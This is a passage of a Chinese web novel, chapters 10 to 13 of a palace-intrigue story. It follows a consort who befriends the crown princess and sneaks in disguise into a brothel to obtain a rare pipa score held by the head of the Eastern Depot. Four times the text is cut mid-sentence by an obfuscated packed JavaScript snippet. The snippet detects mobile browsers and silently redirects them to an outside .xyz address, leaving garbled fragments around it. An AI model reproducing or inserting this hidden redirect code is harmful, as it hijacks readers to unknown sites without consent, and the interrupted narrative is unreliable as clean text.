燕谨之自嘲般摇摇头,当听到宁菘蓝点头应是后,再也呆不住,立起身子就往外走。走到一半又停住脚步,微微转过头:“我们说好的,只以你我相称,不要那些虚礼,你…别忘了。”
也不等宁菘蓝回答,燕谨之便加快脚步离开。
见燕谨之离开了,殿内诸人皆沉沉放下一口气,红螺走上前去搀扶宁菘蓝,面带担忧:“娘娘,您……”
“我怎么了?你表情那么凝重干嘛?”宁菘蓝却突然歪歪头,丝毫不见方才那沉郁的模样。
红螺一愣,被自家娘娘这变脸技术吓一跳:“娘娘,您吓死我了,我还以为您又要把自己关在房间里哭个几天几夜呢!”
红螺所说的事,就是宁菘蓝嫁给燕谨之后过第一个生日那次。
那是个春天,当时她拒绝了下人办生日宴的提议,甚至没有回去看爹娘。只因燕谨之说了,他要带她去民间过生辰,伪装一对寻常小夫妻,只有彼此。
她深信不疑,苦苦等了一夜。
直到第二日白天,她才知道未出现的燕谨之是带着沈嫚儿出去郊游了。听闻他给她抓了好几只蝴蝶,甚至,带她看了照夜清。回来的下人个个艳羡,说太子爱极了太子妃,整整一夜都抱着人,从不嫌累。
原来燕谨之并非没有兑现诺言,只是他将诺言兑现给了别人。
宁菘蓝便是因为这事,将自己关在房里整日整夜流泪,水不喝饭不吃,差点把自己饿死。
想到这经历,宁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950811|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
菘蓝忍不住嗤笑。
过往种种,都是笑话。
“娘娘,您准备送沈太子妃什么贺礼?”红螺将燕谨之留下那杯茶倒了,拿起一个新杯子重又倒了一杯递给宁菘蓝。
宁菘蓝装作没有发现她的小动作,偷偷笑了一下说:“金银珠宝、绫罗绸缎,她喜爱什么便搜罗些,送她便是。”
“嗯…好,奴婢这就去办,保准不让您丢脸!”
红螺点点头,脚下轻快的离开,留下宁菘蓝坐在殿内,手指轻捻着杯体,想起沈嫚儿。
那夜她替沈嫚儿擦拭着身体,知晓她一直在哭,便随手递上自己的帕子,让人拭眼泪。借着微弱烛光,宁菘蓝看到沈嫚儿伸手接的时候,手指微微颤抖,一副受宠若惊的模样。
明明生来是沈府贵女,后来又嫁给当朝太子做太子妃,若不出错将来也会是母仪天下的皇后,她为何总是如此瑟缩,稍稍一点好,便能吓到她,赚得她的眼泪。
宁菘蓝虽然心中曾怨恨她抢了燕谨之,将她当作仇人,可见她自杀一次,也清醒了。
沈嫚儿喜爱燕谨之,自然对其百依百顺,夫唱妇随。喜欢一个人,会想做他的正妻,会下意识排斥情敌,这是人之常情,宁菘蓝也是俗人,自然可以理解。
现在想来,她其实没做过伤害自己的事,只是做着幼稚的争抢行为。或是抢着接燕谨之,或是故意比宁菘蓝走快两步跟着燕谨之,或是亲自下厨做一大顿饭,把燕谨之留在自己寝宫,尽是些小女孩的手段。
一没身体的伤害,二没耍心计陷害,她的心思太好理解,宫内谁都看得出来。
所有实质性的伤害,其实全来自燕谨之这个男人…
恋爱脑不谈恋爱的话,能勉强算一个正常人,就看沈嫚儿这次的选择了。
宁菘蓝沉沉呼一口气。
前世的一切痛苦都不允许她去同情甚至接纳沈嫚儿,但合作与利用也许可行。
“……姐姐?姐姐在吗?”
门外传来一阵细细小小的叫喊声,是沈嫚儿,没有通传!
宁菘蓝立刻站起身,皱起眉头,她不知道沈嫚儿现在来是什么意思,不让人通传又是什么意思。
她冲身边下人使了个眼色让人去开门,自己则是走到座位旁,心中有些防备。
下人开了门,沈嫚儿先是小心翼翼的将头探进来瞟了两眼,发现殿内除了宁菘蓝自己的人便再无旁人,她便抿抿唇,将头收回去,用身体一蹭一蹭,蹭了进来。
毫无体统的进门方式。
宁菘蓝一手撑着下巴,默默想,若是燕谨之在,早就又训斥起来了。
“姐姐……”
沈嫚儿没几两肉的小脸上扬起一个微笑,但是也因为没肉,显得像苦笑。
“太子妃今日来找妾有什么事吗?”
沈嫚儿一愣,许是没想到宁菘蓝会这么生份的称呼她,立刻着急到:“姐姐,你不要这么叫我,你就叫我嫚儿就好!我今日来,是想还你一件东西。”
“……什么东西,拿给下人就好,何至于亲自来一趟。”
沈嫚儿闻言面上透出绯红,自己掂起裙边,轻巧的跑到宁菘蓝身边。因宁菘蓝坐得比较低,她甚至很丝滑的跪下了身子,坐在宁菘蓝脚边地上。
她扬起头,手中拿着一方锦帕:“姐姐,我来还你这个。你当时让我擦眼泪,我给你弄干净以后,便来还你。”
11. 第 11 章
宁菘蓝因她的动作身体一僵,又看到她突然拿出的锦帕而怔住,她皱皱眉,伸手想扶起她,却被她摆摆身体挣开。
只好先说:“这锦帕你留着便是,不用再还给我。还有,说话便说话,为何要坐在我脚边?你是太子妃,这不合体统。”
宁菘蓝说话的语气有些重,沈嫚儿觉得自己又被训斥,有些委屈,却仍伸手抓住宁菘蓝裙角,将脸贴上去;“我只是来还姐姐东西,来谢谢姐姐!我小时在别院,都是这么坐在母亲脚边的。”
“……可现在不是你小时候,宫内人多眼杂,若是被人看到你坐在我脚边,他们该如何说我们,说你人小年幼,被我控制故意折辱怎么办?”
宁菘蓝故意将事说的严重。
沈嫚儿闻言果然急起来,手臂一撑利落的站起了身,她先是将锦帕放在宁菘蓝手里,接着便说:“我没有别的意思,只是那日您的动作很是轻柔…让我想起我母亲,所以今日才对您没规矩了,我不会让别人误会您的!我,那我先走吧。”
说着,她将自己藏在衣袖中的所有小物什一股脑放在宁菘蓝面前,有钗子、玉镯、胭脂,还有泥叫叫、滚灯等,叮叮当当放在桌子上,几乎占满整个桌面。
宁菘蓝看着这些用的、玩的、吃的,本还在桌面上放着的手都变得无处安放起来,她的衣袖是什么乾坤袋,放得下这么多东西。
“姐姐,这些首饰是你喜欢的,这些玩具都是我爱玩的,还有吃的,都是我吃过很好吃而且合你胃口的,都送给你,谢谢你!”
沈嫚儿脆生生的道谢,又提起裙子飞快跑走了,来去如风。
宁菘蓝望着她的背影,拿起她最后放在桌面上的,那罐药膏。
那是民间很有名的医坊所出,治疗过敏有奇效,一罐难求,就连她身处宫内都听闻过。
红螺回来恰与沈嫚儿擦肩而过,她皱着眉进到殿内,看到宁菘蓝面前被摆得满满当当,立刻走过去帮忙整理。
宁菘蓝看着她的动作,突然出声:“给沈嫚儿的贺礼,再加一件骑装吧,没有裙摆,方便行动那种。”
红螺一愣,她抬头看看自家娘娘,又扭头看看沈嫚儿离开的方向,点了点头。
“娘娘,这些……”
“这些,都是沈嫚儿送我的。”
“沈嫚儿?”红螺皱巴着脸,接着道,“那这些东西娘娘您还是都别要了,万一有毒怎么办!”
说这她便拿出一个布袋,准备将那些装了全丢掉,宁菘蓝攥攥拳,眼看红螺要打上结了,连忙伸手从那堆里拿出那罐伤药和一个滚灯,说:“留下这两个吧,滚灯是玩具,不会有问题。至于伤药…送去太医署检查一下,若是也没有问题就给我涂一涂。”
“……娘娘!”红螺有些着急,宁菘蓝却抬手止住她的话头,示意自己有分寸,让她拿着药膏下去了。
太医那边的办事速度也很快,他们将药膏送过去没多久,那边便来人送了回来。并言明药膏没有问题,甚至其中多加了几味名贵药材,治疗过敏的速度更快,且在镇痛止痒上有奇效。
“娘娘,您这药比我们的好出太多了,老臣真是自愧不如。”
太医署院判如是说道,就连离开时还在不停啧啧称奇。
红螺送走了院判,扭过头看向沉默的宁菘蓝:“娘娘,沈太子妃倒是没有做什么手脚,是奴婢想太多了。”
宁菘蓝听到她的话如梦方醒。其实何止是红螺多想,宁菘蓝自己也同样多想,宫内明枪暗箭防不胜防,再亲的姐妹都有可能刀剑相向,暗下杀手,更何况是她与沈嫚儿。
“小心些总不会出错。”宁菘蓝先安慰了一下红螺,接着又道,“只是,她送我这么有效的药,我还是得去谢谢她。”
说罢,她便吩咐着,让人为她梳妆打扮,去见沈嫚儿。
“娘娘,你们二人的寝宫也就几步距离,何至于这么麻烦的梳妆?”红螺替宁菘蓝绾发,望着镜子里正抿唇脂的宁菘蓝,有些疑惑。
“她生辰在即,却先为我送来了许多东西,甚至送了这么有用的药膏。面上,我总得正式登门去道谢一番吧。”
说着,她对镜照照,确认自己一切梳妆得体,便站起身,提上小厨房做好的芙蓉酪出了门。
这次她走的是正道,也让人正式通传,是十分有礼的拜访。
而沈嫚儿此刻正抱着琵琶弹曲,她手指灵活,在弦上翩跹,时而慢时而快,一阵阵优美的曲子传出来。只是弹奏者本人却目光涣散,一副心不在焉的样子。
“娘娘,宁侧妃来看您了。”
她的贴身婢女花溪跑进来喊了一声,那乐曲登时戛然而止,沈嫚儿抬起头,眨眨眼确认道:“你说的宁侧妃,是宁菘蓝宁姐姐吗?没骗我?”
“娘娘,奴婢骗您这个干嘛呀!那宁侧妃现下正在门外等着,您让进吗?”
“……怎么会不让呢,让让让!你快去将她带进来!”沈嫚儿连连叫着,听到宁菘蓝被挡在门外嗓子都有些紧。
门外的宁菘蓝冲前来带路的花溪点点头,跟着走了进去。
花溪在前面带路,又一边悄悄扭头去看宁菘蓝,她果然是不负盛名的“京城第一娘子”,不仅行事端庄大方,近看,容貌更是仿佛九天神女,普天下没几个有这种气质的。
花溪作为沈嫚儿的贴身婢女,年纪甚至比沈嫚儿还小一岁,仅十五的年纪还藏不太住心思,眼下又不停的看宁菘蓝,脸上都浮起一片红晕。
宁菘蓝自然注意到这个小婢女的异样,只是她笑笑,没说什么。
“姐姐,您怎么来了。若是有事,找人告我一声,我去找您便是!”
沈嫚儿早就将琵琶放在了一边,她站立着身子,正在等着宁菘蓝。看宁菘蓝过来了,想迎上去,却骤然想起那日宁菘蓝的嘱咐,硬是控制住自己没动,只是嘴上仍然不减热情。
宁菘蓝示意红螺将芙蓉酪给花溪,自己走过去道:“我专门来向你道谢,那时你给的药膏很是管用,我的手腕已好了大半……还有,谢谢你的那些礼物。”
“啊……”
沈嫚儿张张嘴,咧出一个笑来。她本以为宁菘蓝是不喜欢那些东西的,所以当时急匆匆就离开,没想到宁菘蓝会专门过来,还,还提到了那瓶药膏,她以为那药膏早就被扔了。
“……姐姐,谢谢你。”
谢谢你相信我。
沈嫚儿眼中冒出些许水花,在这宫中信任是最不值钱的,她却能拥有这份信任
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950812|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,何其难得。
她头脑简单,天真柔弱,从小的生长经历叫她无比看重他人的善意,若是有人给她一点好,她便恨不得能将自己的所有送给那人。
宁菘蓝看到沈嫚儿眼底的感动一怔,明明自己是来道谢的,怎么反而先被谢了一通。
“是我谢谢你,你怎么先说起谢来。”
她跟着指引坐到座位上,接过下人递来的一盏茶,轻抿一口,含笑看向沈嫚儿。
“其实今日我来,也是想问问你。你的生辰礼我是为你备好了,但你昨日送的那些,我还没想好回你什么,你可有什么喜欢的,想要的?”
宁菘蓝在来前便已想好,礼物好还,情谊难还,既然沈嫚儿苦心搜罗来自己喜爱的,那自己也应该回些带着同样意义的东西,才算不亏欠。
沈嫚儿闻言一怔,支吾半天,结巴道:“…我,我没什么想要的…”
宁菘蓝垂垂眸,环顾下四周看到了沈嫚儿放在一旁的琵琶,斟酌:“我方才看你在弹琵琶,可是喜欢?”
沈嫚儿咬了咬唇,过了许久才轻轻点点头。
这时花溪带着已放好的芙蓉酪进来,恰好听到宁菘蓝的问话。她将芙蓉酪放在桌上,迫不及待就开口:“我们娘娘可喜欢弹琵琶了,只是娘娘的父亲还有殿下都不许她多弹,说琵琶是靡靡之音,只有烟花女子才总弹。”
“……这是什么歪理?”宁菘蓝皱眉。
她看看低着头沉默不语的沈嫚儿,又看看一脸愤慨的花溪,问:“无事,喜欢弹琵琶的话,我送你一架。”
“不不!”沈嫚儿赶忙抬头拒绝。
花溪也适时开口:“不用送琵琶。”她犹豫了一下,又接着说,“您要不送我们娘娘一本曲谱吧,我们娘娘找慕大师的曲谱找好久了,可一直没能找到…”
“慕大师?”
“是琵琶大家慕绮先生,他很有名,就是去世得早,留下的曲谱廖廖无几。我家娘娘仰慕先生作品已久,就想得一份聊以纪念。”
“这样啊。”宁菘蓝沉吟一声,很快便点点头,“好,我去替你寻一寻。”
沈嫚儿又想说些什么,却被宁菘蓝阻止:“我说了,是为了感谢你,莫要再推拒。”
说罢,宁菘蓝便站起身示意红螺告辞,主仆几人先后走出大殿,寒暄几句便离开。
沈嫚儿和花溪站在门外相送,红螺回头看看二人,待走远了才对宁菘蓝道:“花溪倒还真说的出口,慕绮先生的曲谱千金难求,他们沈家人都找不到,竟让您找。”
“难找也好,将这难找的找给他们,也算还了情了。”宁菘蓝沉思一会儿,又说,“一会儿我写封信给老师,问问她是否知道慕绮先生曲谱的下落。”
宁菘蓝自幼学习古琴,师从步怜青,其与慕绮是师兄妹的关系,故宁菘蓝其实也见过慕绮先生,小老头慈眉善目,是个好人。
他留下的曲谱若是能被一个真心爱琵琶之人得到,也算不负。
回去后宁菘蓝便马不停蹄地写了信,让人送去。去信后过几天,步怜青的回信也到了,宁菘蓝展开信件,便看到几个字。
“慕绮仅剩的一本曲谱,于五日前被东厂提督褚拭雪买走。”
又是他。
12. 第 12 章
“完了,碰上那个丧心病狂的褚大人,这曲谱必然是拿不到了。”
红螺得知此事后直接躺平,并奉劝宁菘蓝放弃这个礼物。
宁菘蓝犹豫,死犟:“……这个褚拭雪,爱钱吗?”
红螺一怔,旋即好像被自家主子的天真打倒,无奈道:“我的娘娘啊,那可是褚大人!贵为东厂提督,一人之下万人之上,对这种身外之物何曾在意过?而且,他脾气极为暴戾,听说曾创下一夜杀千人的记录,我们可千万别惹到他。”
宁菘蓝闻言面上有些尴尬,前一段红螺代她去山中寺庙礼佛,中秋时才回来,故也不知晓她早已和褚拭雪打过不少交道。
“上次中秋宫宴您和他说两句话,我都后心冒汗,更别说从他手里要东西了…我就怕您刚找他要,他就一个发怒,把您脑袋砍下来!”红螺在一旁顺着胸脯,好像被她自己描述的画面吓得不行。
“……那,倒也不至于吧。”
宁菘蓝讷讷的接话,也搞不懂褚拭雪这人怎么混的,竟然能让这个世界的人闻之色变,怎么她就没这样的能耐呢?
就她的记忆而言,褚拭雪这人在前世也被传冷酷残暴,在民间睡前故事里,甚至能比半夜叼孩子吃的大灰狼都恐怖。
但宁菘蓝自己同样被骂毒妇,可见传言大多为虚,再者就她与褚拭雪相处几次来看,若他真是个一言不合就拔刀的阎王,那她的头早掉几百次了。
“这样,你先去查一查褚拭雪拿了那曲谱干嘛,我可从来不知道他还会弹琵琶……”
这事也许有猫腻。
“主子,正如您预料的,宁娘子开始查您了。”
东厂内,褚拭雪端坐在案后,手中把玩着一本旧书,正听下属汇报宁菘蓝的动向。
站在一旁的都蒙惊奇道:“嘿,您还真是料事如神了,您怎么知道宁娘子会要这东西?”
随着都蒙的话向下看,褚拭雪手中把玩的,正是那本慕绮留下的曲谱孤本。
“你还记得六日前,沈嫚儿向点星阁要的那罐药膏吗?”
“记得啊,您当时不还吩咐骆娘给她最好的那种吗?”都蒙摸不着头脑。
褚拭雪向后一靠椅背,慵懒道:“宁菘蓝前脚过敏,后脚沈嫚儿就去要治过敏的药,这药是给谁的,应该不难猜吧?”
他稍停顿一下,瞥眼都蒙那逐渐凝重的脸,继续,“我专门让人送了最贵的,宁菘蓝只要是要了,就必然会回礼。正好最近慕绮先生的忌日快到了,沈嫚儿有心想去参加其学生办的悼念会,悼念会上人人都要演奏一曲慕先生的曲子,沈嫚儿最近找曲谱的动作越来越大,宁菘蓝为了还人情,大概率会帮她这个忙。”
都蒙被主子这一串话打得猝不及防:“这信息量太多我得理理……所以,您从给沈嫚儿药那刻起,就谋划到这了?您不怕有变故啊?”
“唉。”褚拭雪轻叹一声,不愿再看这个头脑简单的傻小子,扭头离开。
“不儿,您别走啊,那像宁娘子过敏这事您怎么知道的……您解答一下呗…”都蒙不敢追,只能站在原地冲褚拭雪喊两声。
只是刚喊没两声,头就被不知哪冒出的剑柄打了一下。
“别犯蠢了。”躺在横梁上的竺七被吵醒,一个扬手,用剑柄狠狠捣了一下都蒙,接着又说,“主子知道,自然是因为在他们身边都安排了人。”
“靠,我怎么不知道?”
竺七面上露出些讽刺:“‘都蒙人笨,告诉他了也没什么用’,主子如是说。”
“你们侮辱我?”
都蒙跳脚。
褚拭雪没在意下属们的唇枪舌剑,他站在东厂房顶,就着点点星光看向皇宫方向。那里住着他的血缘至亲,也住着他最恨的人,早晚有一天,他会彻底将其清缴。
宁菘蓝已经开始查他,他虽不想与这个人多交流,但碍于兄长对其有兴趣,他也只能捏着鼻子算计算计她。若算计不出什么,打消了兄长的兴趣就好,若是算计出什么,那可就赚了。
他抬手唤出下属,让人放消息给宁菘蓝,说他预备将曲谱送给烟柳楼的花魁,花娘子。
“一个合格的捕鱼者,从来不会等着鱼自己上钩,而是会,积极,下网。”
他抬手,手心朝向天空,在视线中轻轻攥成拳头,好像握住一颗星星,牢牢把控。
……
“什么?他要把慕绮先生的曲谱送给谁?”宁菘蓝本来还悠哉悠哉地在修剪花枝,闻言登时错剪了一根。
看看手里已经被剪毁的花枝,宁菘蓝认命般放下剪子,顶着侍花婢哀怨的眼神离开,边走边道:“那花魁应该不会弹琵琶吧?我记得她是个舞姬?”
红螺愤愤点头:“对啊,那褚大人就是被美色迷了眼,被哄得什么东西都要给他的小红颜,一个烟花柳巷的舞女,凭什么能拿到慕绮先生的曲谱!”
“……我们不论身份。若花魁是个弹琵琶的、爱琵琶的,那么她拿,我不会有意见,可她不会,这就不行了。”宁菘蓝皱眉,思考片刻,扭头看向红螺,“你不是打听到他一般逢三逢五去烟柳楼吗,后日,我们去会会他。”
“……娘娘,”红螺有点犹豫,“您还真要去招惹他啊?”
宁菘蓝脚步顿住,沉默许久,才缓缓开口:“恐怕招不招惹,已经不是我自己说的算了。”
红螺被她突然的一句话吓得一怔:“什么叫不由您说的算?您若是不想招惹,谁还能按着您不成?”
“……褚拭雪,也许他还真能。”宁菘蓝眼神幽深,“你有没有想过,一个神秘莫测,行踪如鬼魅的东厂提督,会被你轻易打听到固定去处?再者,他买慕绮先生曲谱的时机,也太巧了不是吗?”
红螺眨眨眼,忍不住咽了几下口水。平日她只听旁人说过褚拭雪智多近妖,可从来没有切实感受,如今,若这些消息都是褚拭雪送上门让她们知晓的,那他到底是什么目的?他一定早已谋划……
他当真算无遗策?
“那…那么娘娘您既然知道,干嘛还按他的计划走?”红螺声音有些抖。
“既然他费了这么大心思铺路,我若不走,岂不是辜负了他的心血?”
宁菘蓝的表情并没有红螺想象的那么凝重,反而透着一股兴奋,她不知道褚拭雪这一系列动作是为了什么,但既然他招惹了她,那么,也许在他身上,她会有新的出路呢?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950813|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>毕竟现在复仇计划还没什么雏形,她指望着褚拭雪给自己新的灵感呢。
二人同时遥望星空,眼中闪烁着精明的光芒,算计还是被算计,一切仍未可知。
……
第三日,褚拭雪早早带着都蒙去了烟柳楼,老鸨一直候着,看到二人便立刻将之引至雅间。
“二位爷稍等,我们小染在做准备,一会儿就来见。”
老鸨甩着带香气的帕子,含着娇笑看褚拭雪,这位客人虽然长得只是一般姿色,但出手阔绰,已经在花梦染身上砸了近万两,凭一己之力将其推上花魁之位。
褚拭雪虚握了一下老鸨的帕子,又将手指轻轻放在鼻下嗅闻,暧昧着语气:“不急,有您在,她晚点来也没关系…”
“诶呦,奴家都半老徐娘了,您可莫要打趣奴家~”老鸨操着带波浪线的嗓音,嗔怪一下褚拭雪,扭头离开,赶着招待其他顾客。
都蒙就这样瞧着主子和老鸨打情骂俏,表情有些憋不住想笑,待到老鸨离开,他才说:“主子,若是这老鸨知道和她调情的是东厂提督,估计吓都能吓死。”
褚拭雪拿出条手帕,擦了擦握过老鸨的手指:“你不说,我不说,她不会知道一个普通顾客会是东厂提督。”
都蒙上下打量了下可劲把自己往丑了打扮的褚拭雪,点点头:“对,就您现在的尊容,谁都不会把您和提督联系在一起。”
“啧。”
都蒙识趣闭嘴。
没等多久,花梦染半敞着胸脯进来了,只是刚关上门,她立刻将衣领提上肩头,腰带死死系住,跪下身子:“见过大人。”
“起来吧。”褚拭雪没多看她,将桌上的扇子拿起敲两下手掌,漫不经心道,“一会儿配合一下,你懂的。”
“是。”
花梦染乖巧的站起身子,立于一边候着了。
屋内重又寂静,褚拭雪仰面歪在榻上,用扇面挡着脸,静静等待某只笨鱼上钩。
又过许久。
都蒙自门外进来,喊了声褚拭雪:“主子,人来了。”
扇面之下,褚拭雪骤然睁开双眼,眼中俱是清明。他坐起身,手掌利落接下自脸庞掉落的扇子,轻摇几下:“走,去看看。”
他自门中而出,选了个楼梯角落,倚在栏杆上看向刚刚走进烟柳楼的二人。
这二人俱穿着男装,一个头戴青色儒冠,另一个则用束发带将头发高高束起,单看背影,像是两个身形单薄的小郎君。
只是一看正面,二人每个都长着形状奇怪的小胡子。
那个叫红螺的婢子下巴长着长鬚,快要长到胸口,一捋一把。
至于宁菘蓝“公子”,上唇两撮小髭,两边一边一个,尾部高高翘起,随着她说话还一动一动,像两条活泼的毛毛虫,她还不忘边说话边捋,将那两撮捋得又细又翘。
“噗……”
褚拭雪忍不住噗了一声,随即立刻故作无事发生咳了几下掩饰。
他不敢再看那两个,扭过头深呼吸一下,一本正经看向都蒙:“都蒙,你还记得前几年西戎来京进贡,随队来的那个羊肉串师傅吗?”
何止是像,简直是一模一样。
13. 第 13 章
都蒙闻言一愣,端详一会儿宁菘蓝,迟疑道:“那位羊肉串师傅,好像是男子吧?”
“她现在不也是男子,不像吗?”褚拭雪语气中仍含着笑意。
“也不知是谁给她们做的男装,这奇形怪状的样子老鸨不怀疑才怪。”褚拭雪摇摇扇子,看了眼都蒙,“也罢,你去帮帮她们。”
楼下,二人果然遭到了老鸨的拦截。
丰腴的女人摇曳着腰肢,裹挟一阵香风走到宁菘蓝二人面前,上下打量了几下,怀疑道:“二位这是来找人,还是有什么事……”
“我们来,找乐子。”宁菘蓝二人对视一眼,齐齐道。
只见老鸨一愣,先说:“你们?找乐子?”
老鸨一副不信的模样。无他,这二人各个装束奇怪,看着实在不像什么正常人,且她做老鸨多年,见过的姑娘们没有几万也有几千,对女子的身体自是了解得很。
外表可以装扮,但那腰肢、耳朵以及手腕,骨头架子都和男性有很大差别,所以老鸨打眼一看,就半猜得出这二人是女子。
女子啊……
老鸨思考了一会儿,突然想起他们烟柳楼的确养着一些小倌儿,但那都是为有特殊癖好的男子养的,这两个女子,总不能是为了嫖那些小倌来的吧?
“美人儿~你在这干嘛呢?”
突然,一个醉醺醺的男人自背后而来,一把搂住了老鸨的腰,嘴里含糊着调戏的话。
老鸨一下被抱住,只好立刻扭过头应付那位客人,只是哄来哄去那客人也不接招,难伺候的很,一时之间老鸨的思路都被打断。
宁菘蓝看老鸨被人绊住,立刻说:“我们今日是来见乐琰的,听闻他在烟柳楼,我们二人就……他在哪?”
老鸨听到乐琰的名字立刻明白过来,乐琰是刚进他们烟柳楼的一个小倌,来之前据说是哪个府的公子,才貌双全,很受姑娘们的追捧,这两个估计也是不死心的追求者,竟都追到这来了。
“……罢了罢了。”老鸨也被那客人缠得没空理二人,只好叫了个小厮让人带着她们走,“你带他们去包房,让乐琰去见他们。”
说着还给了小厮一个眼神,让他看着点。
小厮顺从的点点头,便领着二人上了楼。
看到这二人离开,醉酒男子,也就是都蒙顺势放开老鸨,呵呵笑了两声:“嘿,你怎么不是我的云娘啊,真是的……云娘,云娘,莫要和我捉迷藏了……”
他一把推开老鸨,手向前伸着到处摸,摇摇晃晃便离开了,老鸨骤然被推开,“诶呦”一声,但对客人也是敢怒不敢言,只好任由都蒙离开,自己左右看看,气闷又没办法。
宁菘蓝与红螺随着小厮的指引上楼,走到一半,宁菘蓝抬眼在楼梯转角望到一个趴在栏杆上的人,那人容貌一言难尽,但身姿高耸,胸背挺括,一双手骨节分明,带着玉般的白。
看到宁菘蓝看他,那人也抬眼瞥了眼她,二人对视着又默契同时收回眼神,擦肩而过。
小厮已开好包房的门指引二人进入,宁菘蓝落后一步,看着那男子走入隔壁包房,随着男子开门,她清楚看到那包房里陈设雅致,无论是桌椅还是装饰物都十分名贵。
她不动声色地朝红螺递了个眼神,进入自己包房环顾了一下,立刻故作嫌弃对小厮道:“没有更好的包房了吗?这种档次怎么配得爷的身份。”
红螺也适时帮腔:“对啊,以我们的身份和财力,给安排一个最好的包房不为过吧?”
小厮闻言有些忐忑,他抬头赔笑:“二位爷,您这包房已是最好的了”
“呵。”宁菘蓝冷笑一声,扬高音调,“你当爷是傻的?我方才都看见了,隔壁那个一看就比这个豪华,我不管,我要换包房!”
她眼睛微眯,眉头皱着,直立在门前一副不给出说法不让走的意思。
小厮进不得出不得,左右为难,支吾两下只好道:“嗐,您二位有所不知,那间常年被定着,定的人是咱们烟柳楼的大主顾,与花娘子关系甚好,是他的专属包房,实在换不了啊。”
“花娘子?是那位花魁,花梦染娘子吗?”红螺问道。
小厮立刻点点头:“是的是的,眼下花娘子正在其中侍奉那位呢,这包房实在换不了……”
宁菘蓝挑挑眉,装作为难的样子思考片刻,又道:“罢了罢了,我来是找乐子,你赶紧把乐琰给我找来就是。”
“多谢这位爷,奴才马上!”小厮应声赶紧离开。
房内重又安静,红螺迫不及待开口:“娘子,您说隔壁那位?”
“应该就是褚拭雪。”
只是二人虽是隔壁,但她仍无法见到他,更无法见到那琴谱,还是需要想个办法。
“快点快点,那位要几个姑娘去给他们跳舞助兴,快去选几个!”
门外走廊,开门声突然从隔壁传来,随之响起一阵慌乱的脚步声,向楼下走去。
跳舞?
宁菘蓝心下又有了主意。
她快速将外面的男装脱下,塞进了被褥里,又撕下唇上的两撮假胡子。朝窗外望望,看到她们应身处二楼,楼层并不高。
“红螺,应付好那个乐琰,等我回来。”
说着,她便从二楼窗户翻身而下,平稳落在烟柳楼的后方,确认四下无人,闪身自后门重又进入烟柳楼。
来这里前她已让人打探清楚,烟柳楼的姑娘们不“上工”时都在一楼后院待着,挑人跳舞应该都是从那挑。
她顺着曲折的小道进入后院,看到后院有十几间屋子,每间屋子应该都住着人,透过打开的窗子,能看到其中放着她们的衣服与私人物品等。此时,没事的姑娘们正聚在一处聊天,不时有笑谈声从某间屋子传来。
宁菘蓝隔窗找了找,突然看到一间门前挂着“姝儿”名牌的房间,其内只有一个女子坐着,正歪在床边饮酒,饮着饮着又哭:“都是混蛋,负心汉!说好赎我走,扭头又看上别的女子…呜呜……”
女子看起来已喝了不少,床边尽是歪倒的酒瓶子。宁菘蓝便小心翼翼地推门而入,那姝儿看到宁菘蓝进来还有些发愣,只是没来及问出话,便被宁菘蓝闪身过去,一个手刀砍晕。
宁菘蓝将她抬到床上,又用被子牢牢盖住姝儿的身体。确认无人能看到她后,便换上了衣服,随手找个面纱盖住脸庞。
一切就绪,宁菘蓝看向姝儿:“为了男子哭是世上最蠢的事,希望你睡一觉能忘掉他。”
说完,宁菘蓝迈着步子从房间离开,期间不忘关上那窗子。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950814|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只是刚关上,院子便走进了几个小厮,他们一打眼便看到了站在窗前的宁菘蓝,惊奇道:“呦,你不是天天把自己关在房里哭吗,愿意出来了?”
“……哭多了,已经流不出眼泪来。”宁菘蓝有点抽噎着说。
小厮们哄笑一声,其中一个说:“既如此,正好有个主顾要几个姑娘去跳舞,你身段好,一会儿跟着!”
宁菘蓝哼一声,轻轻瞪他们几眼,装作不情愿的点了点头。
说话的小厮被一双美目一瞪,身体顿时酥麻了一半,和同伴感慨:“这丫头受点情伤,怎么越发勾人起来……”
